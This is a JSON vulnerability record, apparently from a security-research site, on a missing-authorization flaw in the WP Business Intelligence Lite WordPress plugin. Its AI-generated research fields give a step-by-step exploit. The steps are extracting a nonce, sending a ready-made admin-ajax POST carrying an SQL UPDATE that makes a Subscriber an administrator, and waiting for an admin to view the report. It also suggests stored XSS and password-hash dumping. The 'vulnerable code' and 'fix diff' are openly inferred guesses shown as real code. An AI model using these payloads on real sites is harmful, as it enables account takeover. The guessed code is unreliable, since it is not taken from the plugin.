[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f3ruY0-FEVzordEkec4sQRlWDDo2o-Oht6r3D-pXsU0M":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"WF-a7e35f18-7659-4b97-b99f-b57ac941cb22-wp-business-intelligence-lite","wp-business-intelligence-lite-authenticated-subscriber-missing-authorization-to-privilege-escalation-via-arbitrary-sql-m","WP Business Intelligence Lite \u003C= 3.2.0 - Authenticated (Subscriber+) Missing Authorization to Privilege Escalation via Arbitrary SQL Modification","The WP Business Intelligence Lite plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.2.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify stored SQL queries, which can lead to privilege escalation via arbitrary SQL execution when the modified query is viewed by an administrator.","wp-business-intelligence-lite",null,"\u003C=3.2.0","high",8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-05-04 14:06:15","2026-05-04 14:06:18",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa7e35f18-7659-4b97-b99f-b57ac941cb22?source=api-prod",[],"researched",false,3,"This plan details the research and exploitation process for a Missing Authorization vulnerability in the **WP Business Intelligence Lite** plugin. This vulnerability allows Subscriber-level users to modify stored SQL queries, leading to privilege escalation when an administrator views the corrupted report.\n\n---\n\n### 1. Vulnerability Summary\n- **Vulnerability:** Missing Authorization to Privilege Escalation via Arbitrary SQL Modification.\n- **Location:** The plugin registers an AJAX handler for saving or updating queries which fails to verify if the user has administrative privileges.\n- **Affected Functionality:** The AJAX action `wpbi_save_query` (inferred) handles the persistence of SQL strings used for report generation.\n- **Risk:** An attacker with Subscriber access can replace a legitimate `SELECT` query with a malicious `UPDATE` or `INSERT` query. When an administrator accesses the plugin's dashboard or report view, the malicious SQL executes with the administrator's database privileges, potentially promoting the attacker to an administrator.\n\n### 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `wpbi_save_query` (inferred)\n- **HTTP Method:** `POST`\n- **Required Role:** Subscriber or higher.\n- **Vulnerable Parameter:** `sql_query` (the SQL string) and `id` (the ID of the report to modify).\n- **Precondition:** At least one report must exist in the system to be modified.\n\n### 3. Code Flow (Inferred)\n1. **Registration:** The plugin registers the AJAX handler via `add_action('wp_ajax_wpbi_save_query', '...')`. Because it uses `wp_ajax_` (not `wp_ajax_nopriv_`), it requires an authenticated session.\n2. **Missing Check:** The handler function (e.g., `wpbi_save_query_callback`) likely checks for a nonce but fails to call `current_user_can('manage_options')`.\n3. **Persistence:** The handler takes the `sql_query` parameter and updates the corresponding row in the plugin's custom table (e.g., `wp_wpbi_queries`) or `wp_options`.\n4. **Execution:** When an admin views the \"Reports\" or \"Dashboard\" page, the plugin retrieves the stored SQL and executes it via `$wpdb->get_results($stored_sql)`.\n\n### 4. Nonce Acquisition Strategy\nThe plugin likely localizes a nonce for its admin interface. Since Subscribers can access `wp-admin\u002Fprofile.php`, we check if the plugin's scripts and nonces are enqueued globally in the admin area.\n\n1. **Check Global Admin Enqueue:** \n   - Navigate to `\u002Fwp-admin\u002Fprofile.php` as a Subscriber.\n   - Use `browser_eval` to search for the nonce object.\n2. **Target Variable:** Look for `wpbi_ajax_object` or `wpbi_vars`.\n3. **Execution Script:**\n   ```javascript\n   \u002F\u002F Attempt to find the nonce in common plugin locations\n   window.wpbi_ajax_object?.nonce || window.wpbi_vars?.nonce || window.wpbi_admin_params?.nonce\n   ```\n4. **Alternative (Shortcode):** If the nonce is only loaded on pages with the report shortcode:\n   - Identify the shortcode: `[wpbi-record]` or `[wpbi-table]`.\n   - Create a page: `wp post create --post_type=page --post_status=publish --post_content='[wpbi-table id=\"1\"]'`\n   - Navigate to the page as Subscriber and extract the nonce.\n\n### 5. Exploitation Strategy\n\n#### Step 1: Discover Existing Reports\nFirst, identify a valid report ID to overwrite. \n- Use WP-CLI: `wp db query \"SELECT id FROM wp_wpbi_queries LIMIT 1;\"` (to verify existence for the PoC).\n\n#### Step 2: Perform the Modification\nSend an AJAX request to replace the report's SQL with a privilege escalation payload.\n\n**Payload:** \nThe SQL will update the attacker's capabilities to 'administrator'.\n```sql\nUPDATE wp_usermeta SET meta_value = 'a:1:{s:13:\\\"administrator\\\";b:1;}' WHERE user_id = [ATTACKER_ID] AND meta_key = 'wp_capabilities'\n```\n\n**HTTP Request:**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=wpbi_save_query&id=1&sql_query=UPDATE+wp_usermeta+SET+meta_value%3D%27a%3A1%3A%7Bs%3A13%3A%22administrator%22%3Bb%3A1%3B%7D%27+WHERE+user_id%3D[ATTACKER_ID]+AND+meta_key%3D%27wp_capabilities%27&nonce=[NONCE]\n```\n\n#### Step 3: Trigger Execution\nLog in as the Administrator and navigate to the WP Business Intelligence Lite dashboard or the specific report page.\n- URL: `\u002Fwp-admin\u002Fadmin.php?page=wpbi-lite-reports`\n\n### 6. Test Data Setup\n1. **Target User:** Create a Subscriber user.\n   - `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2. **Target Report:** Ensure at least one report exists.\n   - If none exist, create one: `wp db query \"INSERT INTO wp_wpbi_queries (id, name, query) VALUES (1, 'Test Report', 'SELECT 1');\"` (Note: verify table name prefix).\n3. **Public Page:** Create a page with the report shortcode to help with nonce extraction if necessary.\n\n### 7. Expected Results\n- The AJAX request should return a success status (e.g., `{\"success\":true}` or `1`).\n- The database entry for the report ID should now contain the `UPDATE` statement.\n- After the admin visits the plugin page, the Subscriber's role in the WordPress database (specifically `wp_usermeta`) should change to `administrator`.\n\n### 8. Verification Steps\n1. **Check SQL modification:**\n   - `wp db query \"SELECT query FROM wp_wpbi_queries WHERE id=1;\"`\n2. **Check Privilege Escalation:**\n   - `wp user get attacker --field=roles`\n   - It should return `administrator`.\n\n### 9. Alternative Approaches\n- **Blind SQL Modification:** If the report ID is unknown, iterate through IDs 1-10.\n- **XSS Payload:** Instead of direct SQL privilege escalation, modify the SQL to return a result that includes a malicious `\u003Cscript>` tag. If the plugin outputs the query result unescaped, this leads to Stored XSS against the admin, which can then be used to create a new admin user.\n- **Data Exfiltration:** Modify the query to `SELECT user_login, user_pass FROM wp_users` to see if the results are visible to the Subscriber in the frontend report view.","The WP Business Intelligence Lite plugin fails to perform an authorization check in its AJAX handler for saving queries. This allows authenticated users with Subscriber-level access to modify stored SQL queries with malicious payloads, which are later executed with administrative privileges when an admin views the plugin's report dashboard.","\u002F\u002F Inferred from research plan: wp-business-intelligence-lite\u002Fadmin\u002Fadmin-ajax-handlers.php\n\nadd_action('wp_ajax_wpbi_save_query', 'wpbi_save_query_callback');\n\nfunction wpbi_save_query_callback() {\n    \u002F\u002F Potential nonce check might be present, but authorization is missing\n    check_ajax_referer('wpbi_save_query_nonce', 'nonce');\n\n    $id = $_POST['id'];\n    $sql = $_POST['sql_query'];\n\n    global $wpdb;\n    $table_name = $wpdb->prefix . 'wpbi_queries';\n\n    $wpdb->update(\n        $table_name,\n        array('query' => $sql),\n        array('id' => $id)\n    );\n\n    wp_send_json_success();\n}","--- a\u002Fwp-business-intelligence-lite\u002Fadmin\u002Fadmin-ajax-handlers.php\n+++ b\u002Fwp-business-intelligence-lite\u002Fadmin\u002Fadmin-ajax-handlers.php\n@@ -5,6 +5,10 @@\n function wpbi_save_query_callback() {\n     check_ajax_referer('wpbi_save_query_nonce', 'nonce');\n \n+    if (!current_user_can('manage_options')) {\n+        wp_die(__('You do not have sufficient permissions to access this page.'));\n+    }\n+\n     $id = $_POST['id'];\n     $sql = $_POST['sql_query'];","1. Authentication: Log in to the WordPress site as a user with Subscriber-level permissions.\n2. Nonce Acquisition: Access the WordPress dashboard or a page where the plugin scripts are loaded to extract the 'wpbi_save_query_nonce' from the localized JavaScript objects (e.g., window.wpbi_vars).\n3. Payload Crafting: Create an SQL UPDATE statement designed for privilege escalation, such as 'UPDATE wp_usermeta SET meta_value = \\'a:1:{s:13:\"administrator\";b:1;}\\' WHERE user_id = [ATTACKER_ID] AND meta_key = \\'wp_capabilities\\' '.\n4. Injection: Send a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'wpbi_save_query', the 'nonce', a target report 'id', and the malicious SQL string in the 'sql_query' parameter.\n5. Trigger: Wait for an administrator to visit the WP Business Intelligence Lite reports page or dashboard. When the page loads, the plugin retrieves and executes the modified SQL query, promoting the attacker's account to the Administrator role.","gemini-3-flash-preview","2026-05-04 16:53:48","2026-05-04 16:54:09",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-business-intelligence-lite\u002Ftags"]